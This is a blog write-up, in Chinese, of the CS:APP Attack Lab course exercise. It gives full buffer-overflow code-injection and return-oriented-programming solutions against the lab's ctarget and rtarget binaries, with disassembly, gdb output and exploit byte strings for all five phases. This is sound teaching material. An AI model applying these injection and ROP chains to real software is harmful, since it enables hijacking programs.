csapp attack_lab

The Attack Lab: Understanding Buffer Overflow Bugs

在2个程序上对不同的安全漏洞生成5次攻击。这才是信息安全吗(xd

Figure 1: Summary of attack lab phases

官方说明文档中指出了需要做的几个phase

Phase_1

源码

test函数的源码如下所示

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

该函数调用了getbuf函数

我们的攻击目标是改变程序第五行打印字符串这一行为,让程序返回到touch1

touch1的c代码如下

1
2
3
4
5
6
7
 void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

反汇编test

1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: call 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: call 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: ret
End of assembler dump.

反汇编getbuf

1
2
3
4
5
6
7
8
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.

第二行分配了40个字节的栈帧。

运行到第五行时,栈内的情况如下:

test函数 的栈帧
**返回地址**
getbuf函数的栈帧

于是我们不难想到,只需要输入41个字节的字符,最后一个字节覆盖掉原来的返回地址,变为touch1的地址,这样程序就会跳转。

查看touch1的地址为0x4017c0

创建exploit string

使用工具HEX2RAW,从txt生成文本,详见官方文档。(注意使用小端存储

exploit txt

攻击成功

1
./ctarget -qi a1.txt

attack

Phase_2

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

文档指出:不仅需要返回修改地址调用touch2,还需要把cookie作为参数传入,且不建议使用jmpcall指令进行跳转,只能通过在栈中保存目标代码的地址,以ret的形式进行跳转。

不难想到,PC程序寄存器,%rip,时刻指向程序要执行的下一条指令在内存中的位置,而ret指令就相当于pop %rip。把栈中存放的地址弹出作为下下一条指令的地址。

函数的第一个参数放在%rdi寄存器中,需要使用汇编语言实现,其思路如下:

  • 将正常返回地址设置成注入代码的地址,直接在栈顶注入
  • cookie的值写在%rdi
  • 获取touch2的首地址
  • ret弹出前将touch2地址压入栈

汇编

使用gcc编译,在使用objdump反汇编

1
2
3
4
5
6
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

使用gdb下断点判断rsp中的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -qi a1.txt
Starting program: /home/hydra/target1/ctarget -qi a1.txt
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.
(gdb) stepi
14 in buf.c
(gdb) p/x $rsp
$1 = 0x5561dc78

0x5561dc78即是我们要修改的返回地址。

程序在执行完getbuf的ret后,%rsp指向caller的返回地址,但这个时候,返回地址的已经被我们修改为0x5561dc78,而这个地址存放的应该是我们写的代码

那么exploit txt即为

exploit txt

attack

Phase_3

Phase 3 also involves a code injection attack, but passing a string as argument.

1
2
3
4
5
6
7
8
9
10
11
12
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

touch3调用了hexmatch,其c语言表示为:

1
2
3
4
5
6
7
8
9
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

s的为位置是随机的,在getbuf栈中的字符串很有可能被覆盖,所以需要将cookie的字符产存在test的栈上。

test栈顶指针位置

0x5561dca8,就是字符串需要存放的地址,也是调用touch3应该传入的参数,touch3的地址是0x4018fa,即:

1
2
3
4
5
6
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret

此时的栈帧为:

test函数的栈帧 “cookie”
0x5561dc78
getbuf的栈帧
ret
push $0x4018fa
0x5561dc78 mov $0x5561dca8,%rdi
  • getbuf执行ret,从栈中弹出返回地址,跳转到注入代码
  • 代码执行,先将在caller中的栈中字符传给%rdi,将touch3的地址压入栈
  • 代码执行ret,从栈中弹出touch3指令,成功跳转。

cookie转为ascii为:35 39 62 39 39 37 66 61

test栈帧多利用一个字节位置存放cookie,所以需要输入56个字节。

phase3成功

Phase_4

在这一部分我们需要攻击rtarget,其需要我们使用ROP攻击策略,在已存在的程序中找到特定的以ret结尾的指令序列,这样一段代码成为gadget。将需要用到的部分压入栈,每次ret都取出一个新的gadget,形成一个程序链。

在本phase中我们需要实现phase2,要求返回到touch2函数,phase2的注入代码是

1
2
3
movq    $0x59b997fa, %rdi
pushq $0x4017ec
ret

首先不可能找到带有立即数的gadget,所以考虑将cookie放入栈中,然后用pop到寄存器rdi,但发现farm中没有 5f,所以需要做转换,先到rax,再到rdi

1
2
3
4
5
popq %rax
ret

movq %rax, %rdi
ret
  • getbuf执行ret,从栈中弹出返回值,跳转到gadget01
  • cookie弹出后 执行ret,跳到gadget02
  • cookie传到rdi,执行 ret,继续弹出地址跳到touch2

寻找需要的gadget代码

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

从0x4019ab开始

movq %rax, %rdi表示为48 89 c7,

1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

得到指令 0x4019c5

那么文本为:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

image-20230731223943574

Phase_5

Phase_3中注入代码

1
2
3
movq    $0x5561dca8, %rdi
pushq $0x4018fa
ret

0x5561dca8是栈中存cookie的地址。

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

而本phase中的栈的地址是随机的,只能在代码中获取rsp的地址 ,根据偏移量确定cookie的地址。

  • 先取得rsp的值
  • 去除存在栈中的偏移量
  • 通过lea (%rdi,%rsi,1),%rax得到cookie的地址
  • cookie传给%rdi
  • 调用touch3
1
2
3
4
mov %rsp,%rax 0x401aad
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#地址:0x401aad
movq %rsp, %rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

#地址:0x4019cc
popq %rax
ret

#地址:0x4019dd
movl %eax, %edx
ret

#地址:0x401a70
movl %edx, %ecx
ret

#地址:0x401a13
movl %ecx, %esi
ret

#地址:0x4019d6
lea (%rdi,%rsi,1),%rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

此时cookie相对rsp的偏移地址是0x48,因为执行ret之后相当于进行了一次pop,%rsp+=0x8

写出输入序列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

成功

总结

  • 耗时3天,总计12小时
  • 我对程序运行时栈的理解更加深刻了一点
  • 在编程时需要时刻注意缓冲区溢出的问题(ROP这个攻击逻辑太牛逼了)

csapp attack_lab
http://htwzxwj.github.io/2023/09/07/csapp-data-lab/
作者
End0rph1n
发布于
2023年9月7日
许可协议